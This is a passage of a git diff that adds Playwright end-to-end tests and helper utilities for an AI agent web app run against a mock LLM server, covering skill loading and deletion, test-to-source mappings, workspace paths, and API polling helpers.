+/**
+ * Remove a workspace from the agent-server.
+ */
+async function removeWorkspaceFromServer(
+  request: APIRequestContext,
+  path: string,
+): Promise<void> {
+  await request.delete(`${BACKEND_URL}/api/workspaces`, {
+    headers: { "X-Session-API-Key": SESSION_API_KEY },
+    params: { path },
+  });
+}
+
+async function navigateToNewChat(page: Page): Promise<void> {
+  await expect(async () => {
+    await page
+      .getByTestId("sidebar-conversations-link")
+      .click({ timeout: 5_000 });
+    await expect(page).toHaveURL(/\/conversations\/?$/, { timeout: 5_000 });
+  }).toPass({ timeout: 30_000, intervals: [500, 1_000, 2_000] });
+}
+
+// ── Shared constants ─────────────────────────────────────────────────
+
+const REPLY_TOKEN = "SKILLS_E2E_REPLY_OK";
+
+// ── Tests ─────────────────────────────────────────────────────────────
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("skill loading: project, user, and deletion", () => {
+  const conversationIds = new Set<string>();
+
+  // Unique skill names to avoid collisions with real skills
+  const PROJECT_SKILL_NAME = "e2e-test-project-skill";
+  const PROJECT_SKILL_TRIGGER = "xyzzy-project-e2e-test";
+
+  const USER_SKILL_NAME = "e2e-test-user-skill";
+  const USER_SKILL_TRIGGER = "xyzzy-user-e2e-test";
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ page, request }) => {
+    const match = page.url().match(/\/conversations\/([^/?#]+)/);
+    if (match?.[1]) conversationIds.add(decodeURIComponent(match[1]));
+
+    for (const id of Array.from(conversationIds)) {
+      try {
+        await deleteConversation(request, id);
+        conversationIds.delete(id);
+      } catch {
+        // best-effort cleanup
+      }
+    }
+    await resetMockLLM(request).catch(() => {});
+  });
+
+  // Track the agent-side workspace path for cleanup (may differ from
+  // the host path in Docker mode where volumes are mounted)
+  let projectSkillAgentDir = "";
+
+  test.afterAll(async ({ request }) => {
+    removeProjectSkillRepo(PROJECT_SKILL_NAME);
+    removeUserSkill(USER_SKILL_NAME);
+    if (projectSkillAgentDir) {
+      await removeWorkspaceFromServer(request, projectSkillAgentDir).catch(
+        () => {},
+      );
+    }
+  });
+
+  // ── Test 1: Project skill loaded from workspace ──────────────────
+  //
+  // Creates a standalone git repo with the skill committed, registers it
+  // as a workspace on the agent-server, then uses the UI to select that
+  // workspace and send a message. The agent-server creates a worktree
+  // from the repo, and the committed skill file is present in it for
+  // `load_project_skills` to discover.
+
+  test("project skill in workspace/.agents/skills/ triggers on matching keyword", async ({
+    page,
+    request,
+  }) => {
+    await ensureMockLLMProfile(page);
+
+    // Create a git repo with the skill committed
+    const { agentDir } =
+      await test.step("create git repo with project skill", () => {
+        return createProjectSkillRepo(
+          PROJECT_SKILL_NAME,
+          PROJECT_SKILL_TRIGGER,
+        );
+      });
+    projectSkillAgentDir = agentDir;
+
+    // Register the workspace on the server using the agent-side path
+    // (same as hostDir in npm mode, container mount path in Docker mode)
+    await test.step("register workspace on server", async () => {
+      await addWorkspaceToServer(request, "skill-test-repo", agentDir);
+    });
+
+    // Trajectory: padding for skill-analysis + agent reply
+    await registerTrajectory(request, "project-skill", [
+      { text: "" },
+      { text: `Skill test complete. ${REPLY_TOKEN}` },
+    ]);
+    await activateTrajectory(request, "project-skill");
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Select the workspace through the UI
+    await test.step("select workspace from UI", async () => {
+      // Click "Open workspace" to open the dialog
+      await page.getByTestId("open-workspace-button").click();
+
+      // Click the workspace dropdown and select our workspace
+      const dropdown = page.getByTestId("workspace-dropdown");
+      await dropdown.click();
+      // The workspace name is "skill-test-repo" — click the matching option
+      await page.getByText("skill-test-repo").click();
+
+      // Click the Confirm button to set the workspace
+      await page.getByTestId("workspace-launch-button").click();
+    });
+
+    await test.step("send message with project skill trigger", async () => {
+      await setChatInput(
+        page,
+        `Please help me with ${PROJECT_SKILL_TRIGGER} setup`,
+      );
+      await page.getByTestId("submit-button").click();
+      await waitForPath(page, /\/conversations\/.+/, 30_000);
+    });
+
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+
+    await test.step("verify agent reply", async () => {
+      await waitForNonUserMessageText(page, REPLY_TOKEN, 45_000);
+    });
+
+    await test.step("verify project skill activated", async () => {
+      await expect
+        .poll(
+          async () => {
+            const resp = await request.get(
+              `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}/events/search`,
+              {
+                headers: { "X-Session-API-Key": SESSION_API_KEY },
+                params: { limit: "50" },
+              },
+            );
+            if (!resp.ok()) return `HTTP ${resp.status()}`;
+            const body = (await resp.json()) as { items?: unknown[] };
+            for (const item of body.items ?? []) {
+              const e = item as Record<string, unknown>;
+              const skills = e.activated_skills as string[] | undefined;
+              if (skills?.includes(PROJECT_SKILL_NAME)) return "FOUND";
+            }
+            return "NOT_FOUND";
+          },
+          {
+            message: `expected "${PROJECT_SKILL_NAME}" in activated_skills`,
+            intervals: [1_000, 2_000, 3_000, 5_000],
+            timeout: 25_000,
+          },
+        )
+        .toBe("FOUND");
+    });
+  });
+
+  // ── Test 2: User skill loaded from ~/.openhands/skills/ ──────────
+
+  test("user skill in ~/.openhands/skills/ triggers on matching keyword", async ({
+    page,
+    request,
+  }) => {
+    await ensureMockLLMProfile(page);
+
+    await test.step("create user skill file", () => {
+      writeUserSkill(USER_SKILL_NAME, USER_SKILL_TRIGGER);
+      expect(userSkillExists(USER_SKILL_NAME)).toBe(true);
+    });
+
+    await registerTrajectory(request, "user-skill", [
+      { text: "" },
+      { text: `Skill test complete. ${REPLY_TOKEN}` },
+    ]);
+    await activateTrajectory(request, "user-skill");
+
+    await routeSessionApiKey(page);
+    await navigateToNewChat(page);
+
+    await test.step("send message with user skill trigger", async () => {
+      await setChatInput(
+        page,
+        `I need help with ${USER_SKILL_TRIGGER} configuration`,
+      );
+      await page.getByTestId("submit-button").click();
+      await waitForPath(page, /\/conversations\/.+/, 30_000);
+    });
+
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+
+    await test.step("verify agent reply", async () => {
+      await waitForNonUserMessageText(page, REPLY_TOKEN, 45_000);
+    });
+
+    await test.step("verify user skill activated", async () => {
+      await expect
+        .poll(
+          async () => {
+            const resp = await request.get(
+              `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}/events/search`,
+              {
+                headers: { "X-Session-API-Key": SESSION_API_KEY },
+                params: { limit: "50" },
+              },
+            );
+            if (!resp.ok()) return `HTTP ${resp.status()}`;
+            const body = (await resp.json()) as { items?: unknown[] };
+            for (const item of body.items ?? []) {
+              const e = item as Record<string, unknown>;
+              const skills = e.activated_skills as string[] | undefined;
+              if (skills?.includes(USER_SKILL_NAME)) return "FOUND";
+            }
+            return "NOT_FOUND";
+          },
+          {
+            message: `expected "${USER_SKILL_NAME}" in activated_skills`,
+            intervals: [1_000, 2_000, 3_000, 5_000],
+            timeout: 25_000,
+          },
+        )
+        .toBe("FOUND");
+    });
+  });
+
+  // ── Test 3: Deleted user skill not loaded in new conversation ────
+
+  test("deleting a user skill removes it from subsequent conversations", async ({
+    page,
+    request,
+  }) => {
+    await ensureMockLLMProfile(page);
+
+    await test.step("delete user skill file", () => {
+      removeUserSkill(USER_SKILL_NAME);
+      expect(userSkillDirExists(USER_SKILL_NAME)).toBe(false);
+    });
+
+    // Padding for skill-analysis (public skills are still loaded from the npm
+    // package, so the agent-server still makes a skill-analysis LLM call)
+    await registerTrajectory(request, "deleted-skill", [
+      { text: "" },
+      { text: `No skill triggered. ${REPLY_TOKEN}` },
+    ]);
+    await activateTrajectory(request, "deleted-skill");
+
+    await routeSessionApiKey(page);
+    await navigateToNewChat(page);
+
+    await test.step("send message with deleted skill trigger keyword", async () => {
+      await setChatInput(page, `Help me with ${USER_SKILL_TRIGGER} please`);
+      await page.getByTestId("submit-button").click();
+      await waitForPath(page, /\/conversations\/.+/, 30_000);
+    });
+
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+
+    await test.step("verify agent reply", async () => {
+      await waitForNonUserMessageText(page, REPLY_TOKEN, 45_000);
+    });
+
+    await test.step("verify deleted skill NOT activated", async () => {
+      // The agent reply already appeared in the UI (verified above), so the
+      // conversation completed. Poll the events API and verify no event
+      // contains the deleted skill in its activated_skills list.
+      await expect
+        .poll(
+          async () => {
+            const resp = await request.get(
+              `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}/events/search`,
+              {
+                headers: { "X-Session-API-Key": SESSION_API_KEY },
+                params: { limit: "100" },
+              },
+            );
+            if (!resp.ok()) return `HTTP ${resp.status()}`;
+            const body = (await resp.json()) as { items?: unknown[] };
+            const items = body.items ?? [];
+            if (items.length === 0) return "NO_EVENTS";
+
+            for (const item of items) {
+              const e = item as Record<string, unknown>;
+              const skills = e.activated_skills as string[] | undefined;
+              if (skills?.includes(USER_SKILL_NAME))
+                return `UNEXPECTEDLY_FOUND`;
+            }
+            return "VERIFIED";
+          },
+          {
+            message: `verifying "${USER_SKILL_NAME}" NOT in activated_skills`,
+            intervals: [1_000, 2_000, 3_000],
+            timeout: 15_000,
+          },
+        )
+        .toBe("VERIFIED");
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/test-mapping.json b/tests/e2e/mock-llm/test-mapping.json
new file mode 100644
index 0000000000000000000000000000000000000000..24787c9114dae73c6b4096bc3ea3428acd69043f
--- /dev/null
+++ b/tests/e2e/mock-llm/test-mapping.json
@@ -0,0 +1,156 @@
+{
+  "$schema": "This file maps source code paths to mock-LLM E2E test subdirectories. The resolve-affected-tests.mjs script reads it to determine which tests to run for a given set of changed files.",
+
+  "testDir": "tests/e2e/mock-llm",
+
+  "mappings": [
+    {
+      "comment": "Settings UI, LLM profiles, agent config",
+      "sources": [
+        "src/components/features/settings/**",
+        "src/routes/llm-settings*.tsx",
+        "src/routes/agent-settings.tsx",
+        "src/routes/app-settings.tsx",
+        "src/routes/settings-layout.tsx"
+      ],
+      "tests": ["settings"]
+    },
+    {
+      "comment": "Conversation flow, chat input, messages",
+      "sources": [
+        "src/components/features/chat/**",
+        "src/components/features/conversation/**",
+        "src/components/features/conversation-panel/**",
+        "src/components/features/images/**",
+        "src/components/features/controls/**",
+        "src/components/features/terminal/**",
+        "src/components/conversation-events/**",
+        "src/routes/conversation.tsx"
+      ],
+      "tests": ["conversations"]
+    },
+    {
+      "comment": "Files tab, browser tab, git panels and controls",
+      "sources": [
+        "src/components/features/files-tab/**",
+        "src/components/features/files/**",
+        "src/components/features/browser/**",
+        "src/routes/files-tab.tsx",
+        "src/routes/browser-tab.tsx",
+        "src/api/git-service/**",
+        "src/stores/files-tab-store.ts",
+        "src/stores/browser-store.ts",
+        "src/utils/git-*.ts",
+        "src/utils/get-git-path.ts",
+        "src/utils/parse-git-remote-url.ts"
+      ],
+      "tests": ["files"]
+    },
+    {
+      "comment": "Automations lifecycle, preset cards, and the manifest setup host",
+      "sources": [
+        "src/components/features/automations/**",
+        "src/components/features/manifest/**",
+        "src/manifests/**",
+        "src/mocks/automation-handlers.ts",
+        "src/routes/automations*.tsx",
+        "src/routes/automation-setup-route.tsx"
+      ],
+      "tests": ["automations"]
+    },
+    {
+      "comment": "Onboarding modal and first-run flow",
+      "sources": ["src/components/features/onboarding/**"],
+      "tests": ["onboarding"]
+    },
+    {
+      "comment": "Backend management, auth, connectivity",
+      "sources": [
+        "src/components/features/backends/**",
+        "src/api/backend-registry/**",
+        "src/api/agent-server-compatibility.ts"
+      ],
+      "tests": ["backends"]
+    },
+    {
+      "comment": "Home page, workspace selection, folder browser",
+      "sources": [
+        "src/components/features/home/**",
+        "src/components/features/launch/**",
+        "src/routes/home.tsx",
+        "src/stores/workspace*.ts"
+      ],
+      "tests": ["home"]
+    },
+    {
+      "comment": "Skills loading and activation",
+      "sources": [
+        "src/components/features/skills/**",
+        "src/routes/skills.tsx",
+        "src/api/skills-service.*"
+      ],
+      "tests": ["skills"]
+    },
+    {
+      "comment": "MCP marketplace and server management",
+      "sources": [
+        "src/components/features/mcp-page/**",
+        "src/routes/mcp*.tsx",
+        "src/utils/mcp-marketplace-utils.ts",
+        "src/mocks/mcp-handlers.ts"
+      ],
+      "tests": ["mcp"]
+    },
+    {
+      "comment": "Canvas Extensions install, enable, page render, disable, uninstall",
+      "sources": [
+        "src/components/features/canvas-extensions/**",
+        "src/routes/canvas-extension*.tsx",
+        "src/api/canvas-extensions-service.ts",
+        "src/extensions/**",
+        "src/hooks/mutation/use-manage-canvas-extensions.ts",
+        "src/types/canvas-extension.ts",
+        "src/fixtures/canvas-extensions/**",
+        "src/mocks/canvas-extensions-handlers.ts"
+      ],
+      "tests": ["canvas-extensions"]
+    }
+  ],
+
+  "alwaysRun": ["regressions"],
+
+  "runAllSources": [
+    "src/api/agent-server-adapter.ts",
+    "src/api/agent-server-client-options.ts",
+    "src/api/agent-server-config.ts",
+    "src/api/option-service.*",
+    "src/api/settings-service.*",
+    "src/api/event-service.*",
+    "src/context/**",
+    "src/hooks/query/**",
+    "src/hooks/use-websocket.*",
+    "src/routes/root.tsx",
+    "src/routes/root-layout.tsx",
+    "src/root.tsx",
+    "src/entry.client.tsx",
+    "src/stores/event-store.*",
+    "public/**",
+    "scripts/**",
+    "bin/**",
+    "config/**",
+    "tests/e2e/mock-llm/test-mapping.json",
+    "tests/e2e/mock-llm/utils/**",
+    "tests/e2e/mock-llm/scripts/**",
+    "tests/e2e/mock-llm/reporters/**",
+    "tests/e2e/support/**",
+    "package.json",
+    "package-lock.json",
+    "vite.config.ts",
+    "tsconfig.json",
+    "react-router.config.ts",
+    "playwright.mock-llm.config.ts",
+    "tailwind.config.js",
+    "hero.ts",
+    ".github/workflows/mock-llm-e2e.yml"
+  ]
+}
diff --git a/tests/e2e/mock-llm/utils/folder-workspace-paths.ts b/tests/e2e/mock-llm/utils/folder-workspace-paths.ts
new file mode 100644
index 0000000000000000000000000000000000000000..6764ba76c2735856d31985d8a7b4baceb77853e5
--- /dev/null
+++ b/tests/e2e/mock-llm/utils/folder-workspace-paths.ts
@@ -0,0 +1,49 @@
+import * as os from "node:os";
+import * as path from "node:path";
+
+export const WORKSPACE_DIR_NAME = "e2e-folder-workspace-test";
+export const TEST_DIR_NAME = "my-test-project";
+
+interface ResolveFolderWorkspacePathsOptions {
+  env?: NodeJS.ProcessEnv;
+  tmpDir?: string;
+}
+
+export function resolveFolderWorkspacePaths({
+  env = process.env,
+  tmpDir = os.tmpdir(),
+}: ResolveFolderWorkspacePathsOptions = {}) {
+  const hostDirBase =
+    env.MOCK_LLM_FOLDER_WORKSPACE_HOST_DIR ??
+    joinRuntimePath(tmpDir, WORKSPACE_DIR_NAME);
+  const containerDirBase =
+    env.MOCK_LLM_FOLDER_WORKSPACE_CONTAINER_DIR ?? hostDirBase;
+
+  return {
+    hostDirBase,
+    containerDirBase,
+    hostDir: joinRuntimePath(hostDirBase, TEST_DIR_NAME),
+    testDir: joinRuntimePath(containerDirBase, TEST_DIR_NAME),
+  };
+}
+
+export function getFolderBrowserRootPath(targetPath: string): string {
+  const parser = getRuntimePathParser(targetPath);
+  return parser.parse(targetPath).root || "/";
+}
+
+export function getFolderBrowserPathSegments(targetPath: string): string[] {
+  const root = getFolderBrowserRootPath(targetPath);
+  const relativePath = targetPath.slice(root.length);
+  return relativePath.split(/[\\/]+/).filter(Boolean);
+}
+
+function joinRuntimePath(parent: string, child: string): string {
+  return getRuntimePathParser(parent).join(parent, child);
+}
+
+function getRuntimePathParser(targetPath: string) {
+  return /^[A-Za-z]:[\\/]/.test(targetPath) || targetPath.includes("\\")
+    ? path.win32
+    : path.posix;
+}
diff --git a/tests/e2e/mock-llm/utils/mock-llm-helpers.ts b/tests/e2e/mock-llm/utils/mock-llm-helpers.ts
new file mode 100644
index 0000000000000000000000000000000000000000..991dd158f61eca045c18d1cc395ef259e5acc8a8
--- /dev/null
+++ b/tests/e2e/mock-llm/utils/mock-llm-helpers.ts
@@ -0,0 +1,1030 @@
+/**
+ * Shared helpers for mock-LLM E2E tests.
+ *
+ * These mirror the live E2E helpers but are tuned for the mock-LLM setup:
+ * shorter timeouts (responses are instant), no real credential handling.
+ */
+
+import { resolve } from "node:path";
+import { expect, type APIRequestContext, type Page } from "@playwright/test";
+
+// Tokens that the mock LLM server uses — must match mock-llm-server.py.
+export const BASH_TOKEN = "MOCK_LLM_E2E_BASH_OK";
+export const REPLY_TOKEN = "MOCK_LLM_E2E_REPLY_OK";
+export const BASH_COMMAND = `printf '${BASH_TOKEN}\\n'`;
+
+/** Reply token used by the image-upload test trajectory. */
+export const IMAGE_REPLY_TOKEN = "MOCK_LLM_IMAGE_OK";
+
+/**
+ * A minimal valid 1×1 white pixel PNG, base64-encoded.
+ * Used as a lightweight test fixture for image-upload E2E tests — small
+ * enough to keep request bodies manageable while still being a real PNG that
+ * the browser's FileReader can process.
+ */
+export const MINIMAL_PNG_BASE64 =
+  "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAC0lEQVQI12NgAAIABQAABjE+ibYAAAAASUVORK5CYII=";
+
+// Ports / URLs — set via env or defaults matching playwright.mock-llm.config.ts.
+// The agent-canvas binary exposes a single ingress port; API calls are proxied
+// through it, so BACKEND_URL = ingress URL (no separate backend port).
+export const MOCK_LLM_PORT = process.env.MOCK_LLM_PORT ?? "9999";
+
+// URL tests use to hit the mock LLM admin API (always on the host).
+export const MOCK_LLM_BASE_URL = `http://127.0.0.1:${MOCK_LLM_PORT}`;
+
+// URL the agent-server uses to reach the mock LLM for inference calls.
+// In the npm path both run on the host, so this equals MOCK_LLM_BASE_URL.
+// In Docker with --network host on Linux this also works as-is.
+// For Docker on macOS (bridge networking), set MOCK_LLM_AGENT_URL to
+// http://host.docker.internal:<port> so the container can reach the host.
+export const MOCK_LLM_AGENT_URL =
+  process.env.MOCK_LLM_AGENT_URL ?? MOCK_LLM_BASE_URL;
+export const BACKEND_URL =
+  process.env.MOCK_LLM_BACKEND_URL ?? "http://localhost:18300";
+// Public-mode static server (--auth-required, no session key injected).
+export const PUBLIC_MODE_URL =
+  process.env.MOCK_LLM_PUBLIC_MODE_URL ?? "http://localhost:18301";
+export const SESSION_API_KEY = (() => {
+  const key =
+    process.env.MOCK_LLM_SESSION_API_KEY ??
+    process.env.LOCAL_BACKEND_API_KEY ??
+    process.env.LIVE_E2E_SESSION_API_KEY ??
+    "";
+  if (!key) throw new Error("Session API key is required for mock-LLM E2E.");
+  return key;
+})();
+
+/** Seed localStorage with flags that skip onboarding / analytics modals
+ *  and a default local backend so the app boots straight into the home
+ *  page. The backend registry is seeded explicitly for two reasons:
+ *
+ *    1. It guarantees a deterministic backend entry across tests even
+ *       when key rotation or stale-state scenarios are exercised.
+ *    2. It avoids depending on the runtime injection ordering between
+ *       `page.addInitScript` and the static-server's `<head>` script.
+ *
+ *  As of the published-binary session-key fix, the static-server also
+ *  exposes the runtime key via `window.__AGENT_CANVAS_SESSION_API_KEY__`,
+ *  which `getBakedSessionApiKey()` reads — so a real user with an empty
+ *  localStorage no longer needs this seeding to reach onboarding.  See
+ *  `auth mode: fresh install with runtime-injected key` in
+ *  `mock-llm-auth-modes.spec.ts` for the test that covers that path. */
+export async function seedBackendAnalyticsConsent(
+  backendUrl = BACKEND_URL,
+  apiKey = SESSION_API_KEY,
+) {
+  const response = await fetch(`${backendUrl}/api/settings`, {
+    method: "PATCH",
+    headers: {
+      "Content-Type": "application/json",
+      "X-Session-API-Key": apiKey,
+    },
+    body: JSON.stringify({
+      misc_settings_diff: {
+        app_preferences: { user_consents_to_analytics: false },
+      },
+    }),
+  });
+
+  expect(
+    response.ok,
+    `failed to seed analytics consent on ${backendUrl}: ${response.status}`,
+  ).toBe(true);
+}
+
+export async function seedLocalStorage(page: Page) {
+  await seedBackendAnalyticsConsent();
+  await page.addInitScript(
+    ({ apiKey }) => {
+      window.localStorage.setItem("analytics-consent", "false");
+      window.localStorage.setItem("openhands-telemetry-consent", "denied");
+      window.localStorage.setItem("openhands-telemetry-first-use", "true");
+      window.localStorage.setItem("openhands-onboarded", "1");
+      window.localStorage.setItem(
+        "openhands-backends",
+        JSON.stringify([
+          {
+            id: "default-local",
+            name: "Local",
+            host: window.location.origin,
+            apiKey,
+            kind: "local",
+          },
+        ]),
+      );
+    },
+    { apiKey: SESSION_API_KEY },
+  );
+}
+
+/** Inject session API key header into requests targeting the backend. */
+export async function routeSessionApiKey(page: Page) {
+  const origin = new URL(BACKEND_URL).origin;
+  const escaped = origin.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+  await page.route(new RegExp(`^${escaped}(?:/|$)`), async (route) => {
+    await route.continue({
+      headers: {
+        ...route.request().headers(),
+        "X-Session-API-Key": SESSION_API_KEY,
+      },
+    });
+  });
+}
+
+/** Wait until the URL matches a pattern. */
+export async function waitForPath(
+  page: Page,
+  pattern: RegExp,
+  timeout = 30_000,
+) {
+  await expect
+    .poll(() => page.evaluate(() => window.location.pathname).catch(() => ""), {
+      timeout,
+    })
+    .toMatch(pattern);
+}
+
+/** Wait for a data-testid element to exist in the DOM. */
+export async function waitForTestId(
+  page: Page,
+  testId: string,
+  timeout = 30_000,
+) {
+  await expect(page.getByTestId(testId)).toBeVisible({ timeout });
+}
+
+/** Dismiss the analytics consent modal if it appears. */
+export async function dismissAnalyticsModal(page: Page) {
+  await page.waitForLoadState("domcontentloaded");
+  // The analytics consent modal is lazy-loaded via React.Suspense and may
+  // appear several seconds after DOM-content-loaded.  Wait for the form's
+  // test ID (more specific than the generic ModalBackdrop) or give up after
+  // a generous window so tests that have already dismissed the modal don't
+  // stall.  Also dismiss any other ModalBackdrop dialog that may block
+  // pointer events (e.g. the delete-profile confirmation left by a prior
+  // test).
+  try {
+    const form = page.getByTestId("telemetry-consent-form");
+    await form.waitFor({ state: "visible", timeout: 5_000 });
+    await form.getByRole("button", { name: "Confirm preferences" }).click();
+    // Wait for the modal to fully close so the backdrop no longer
+    // intercepts pointer events.
+    await form.waitFor({ state: "hidden", timeout: 5_000 });
+  } catch {
+    // Modal didn't appear — that's fine
+  }
+}
+
+/** Extract conversation ID from the current URL. Throws if not on a conversation page. */
+export function getConversationIdFromURL(page: Page): string {
+  const match = page.url().match(/\/conversations\/([^/?#]+)/);
+  expect(match?.[1], `No conversation ID in ${page.url()}`).toBeTruthy();
+  return decodeURIComponent(match![1]);
+}
+
+/**
+ * Wait for text to appear in the chat, but only inside agent/environment output.
+ *
+ * ChatMessage renders `data-testid="${type}-message"` where type is one of
+ * "user" | "agent" | "environment" | "hook". We strip user-message elements
+ * and search the rest, so tokens that only exist in the user's own prompt
+ * never cause a false positive.
+ *
+ * The check also scans `[data-testid="model-messages"]` (the wrapper for
+ * agent model output) and `[data-testid="event-group"]` (collapsed action
+ * groups) to catch output rendered through non-ChatMessage paths.
+ */
+export async function waitForNonUserMessageText(
+  page: Page,
+  text: string,
+  timeout = 30_000,
+) {
+  await expect
+    .poll(
+      () =>
+        page
+          .evaluate((searchText) => {
+            // Strategy: check specific agent-output containers rather than
+            // cloning the whole body. This avoids false positives from user
+            // input, sidebar text, nav elements, etc.
+            const selectors = [
+              '[data-testid="agent-message"]',
+              '[data-testid="environment-message"]',
+              '[data-testid="model-messages"]',
+              '[data-testid="event-group"]',
+            ];
+            for (const sel of selectors) {
+              const elements = document.querySelectorAll(sel);
+              for (const el of elements) {
+                if (el.textContent?.includes(searchText)) return true;
+              }
+            }
+            return false;
+          }, text)
+          .catch(() => false),
+      { timeout },
+    )
+    .toBe(true);
+}
+
+/**
+ * Poll the bash events API for a BashOutput containing BASH_TOKEN.
+ *
+ * The agent-server keeps tool executions in a separate bash event stream
+ * (`/api/bash/bash_events/search`), not the conversation events API.
+ * Conversation events only contain high-level MessageEvents.
+ */
+export async function waitForSuccessfulBashObservation(
+  request: APIRequestContext,
+  _conversationId: string,
+  timeout = 30_000,
+) {
+  let lastDiag = "no polls yet";
+  await expect
+    .poll(
+      async () => {
+        const resp = await request.get(
+          `${BACKEND_URL}/api/bash/bash_events/search`,
+          {
+            headers: { "X-Session-API-Key": SESSION_API_KEY },
+            params: { limit: "50", kind__eq: "BashOutput" },
+          },
+        );
+        if (!resp.ok()) {
+          lastDiag = `bash events API returned ${resp.status()}`;
+          return false;
+        }
+        const body = (await resp.json()) as { items?: unknown[] };
+        const items = body.items ?? [];
+        lastDiag = `${items.length} BashOutput events`;
+        // Success: any BashOutput with exit_code 0 proves our command ran.
+        // The agent-server may return stdout as null for the completion
+        // event, so we accept null stdout when exit_code is 0.
+        return items.some((e: any) => {
+          if (e.kind !== "BashOutput" || e.exit_code !== 0) return false;
+          const stdout = typeof e.stdout === "string" ? e.stdout : "";
+          return stdout.includes(BASH_TOKEN) || e.stdout === null;
+        });
+      },
+      { timeout },
+    )
+    .toBe(true)
+    .catch((err) => {
+      throw new Error(
+        `No successful bash execution after ${timeout}ms. ${lastDiag}`,
+        { cause: err },
+      );
+    });
+}
+
+/**
+ * Poll the conversation events API for a MessageEvent containing the given token.
+ *
+ * The agent-server emits tool calls and text replies as MessageEvents with
+ * `llm_message.content[].text`. This checks that the agent's response text
+ * includes the expected token.
+ */
+export async function waitForAgentMessageContaining(
+  request: APIRequestContext,
+  conversationId: string,
+  token: string,
+  timeout = 30_000,
+) {
+  let lastDiag = "no polls yet";
+  await expect
+    .poll(
+      async () => {
+        const resp = await request.get(
+          `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}/events/search`,
+          {
+            headers: { "X-Session-API-Key": SESSION_API_KEY },
+            params: { limit: "100", sort_order: "TIMESTAMP_DESC" },
+          },
+        );
+        if (!resp.ok()) {
+          lastDiag = `events API returned ${resp.status()}`;
+          return false;
+        }
+        const body = (await resp.json()) as { items?: unknown[] };
+        const items = body.items ?? [];
+        lastDiag = `${items.length} events, looking for "${token}" in agent MessageEvents`;
+        return items.some((e: any) => {
+          if (e.kind !== "MessageEvent" || e.source !== "agent") return false;
+          const content = e.llm_message?.content;
+          if (!Array.isArray(content)) return false;
+          return content.some(
+            (c: any) => typeof c.text === "string" && c.text.includes(token),
+          );
+        });
+      },
+      { timeout },
+    )
+    .toBe(true)
+    .catch((err) => {
+      throw new Error(
+        `No agent MessageEvent containing "${token}" after ${timeout}ms.\n${lastDiag}`,
+        { cause: err },
+      );
+    });
+}
+
+/** Delete a conversation via the API. */
+export async function deleteConversation(
+  request: APIRequestContext,
+  conversationId: string,
+) {
+  const resp = await request.delete(
+    `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}`,
+    { headers: { "X-Session-API-Key": SESSION_API_KEY } },
+  );
+  if (!resp.ok() && resp.status() !== 404) {
+    throw new Error(
+      `Failed to delete conversation ${conversationId}: ${resp.status()}`,
+    );
+  }
+}
+
+/**
+ * Retry an HTTP request on transient failures (socket hang up, ECONNRESET,
+ * 502, 503).
+ */
+async function retryOnTransient(
+  request: APIRequestContext,
+  method: "GET" | "PATCH" | "POST" | "DELETE",
+  url: string,
+  options: Parameters<APIRequestContext["get"]>[1],
+  retries = 5,
+  delayMs = 1_000,
+): Promise<import("@playwright/test").APIResponse> {
+  let lastError: unknown;
+  for (let attempt = 1; attempt <= retries; attempt++) {
+    try {
+      const resp =
+        method === "GET"
+          ? await request.get(url, options)
+          : method === "PATCH"
+            ? await request.patch(url, options)
+            : method === "POST"
+              ? await request.post(url, options)
+              : await request.delete(url, options);
+      if (
+        (resp.status() === 502 || resp.status() === 503) &&
+        attempt < retries
+      ) {
+        await new Promise((r) => setTimeout(r, delayMs));
+        continue;
+      }
+      return resp;
+    } catch (err: unknown) {
+      lastError = err;
+      const msg = err instanceof Error ? err.message : String(err);
+      const isTransient = /socket hang up|ECONNRESET|ECONNREFUSED/i.test(msg);
+      if (isTransient && attempt < retries) {
+        await new Promise((r) => setTimeout(r, delayMs));
+        continue;
+      }
+      throw err;
+    }
+  }
+  throw (
+    lastError ??
+    new Error(
+      `retryOnTransient: exhausted ${retries} attempts for ${method} ${url}`,
+    )
+  );
+}
+
+/**
+ * Ensure the currently-active LLM profile is configured to point at the mock
+ * LLM server, using direct API calls instead of the Settings UI.
+ *
+ * Useful for tests that receive only `request` (no `page`) or need to
+ * avoid the overhead of navigating the settings UI.
+ */
+export async function ensureMockLLMProfileViaAPI(
+  request: APIRequestContext,
+  model = "openai/mock-test-model",
+) {
+  const settingsResp = await retryOnTransient(
+    request,
+    "GET",
+    `${BACKEND_URL}/api/settings`,
+    {
+      headers: {
+        "X-Session-API-Key": SESSION_API_KEY,
+        "X-Expose-Secrets": "encrypted",
+      },
+    },
+  );
+
+  if (settingsResp.ok()) {
+    const settings = await settingsResp.json();
+    const llm = settings?.agent_settings?.llm;
+    if (llm?.model === model && llm?.base_url === MOCK_LLM_AGENT_URL) {
+      return; // Already configured
+    }
+  }
+
+  const patchResp = await retryOnTransient(
+    request,
+    "PATCH",
+    `${BACKEND_URL}/api/settings`,
+    {
+      headers: {
+        "X-Session-API-Key": SESSION_API_KEY,
+        "Content-Type": "application/json",
+      },
+      data: {
+        agent_settings_diff: {
+          llm: {
+            model,
+            api_key: "mock-api-key-for-testing",
+            base_url: MOCK_LLM_AGENT_URL,
+          },
+        },
+      },
+    },
+  );
+  expect(
+    patchResp.ok(),
+    `PATCH /api/settings failed: ${patchResp.status()}`,
+  ).toBe(true);
+}
+
+// ═══════════════════════════════════════════════════════════════════════
+// LLM profile setup via the Settings UI
+// ═══════════════════════════════════════════════════════════════════════
+
+/**
+ * Create (or overwrite) an LLM profile and activate it through the Settings
+ * UI — the same flow a real user follows.
+ *
+ * Exercises the full frontend save path (including `include_secrets`) so the
+ * api_key is persisted correctly.
+ */
+export async function ensureMockLLMProfile(
+  page: Page,
+  {
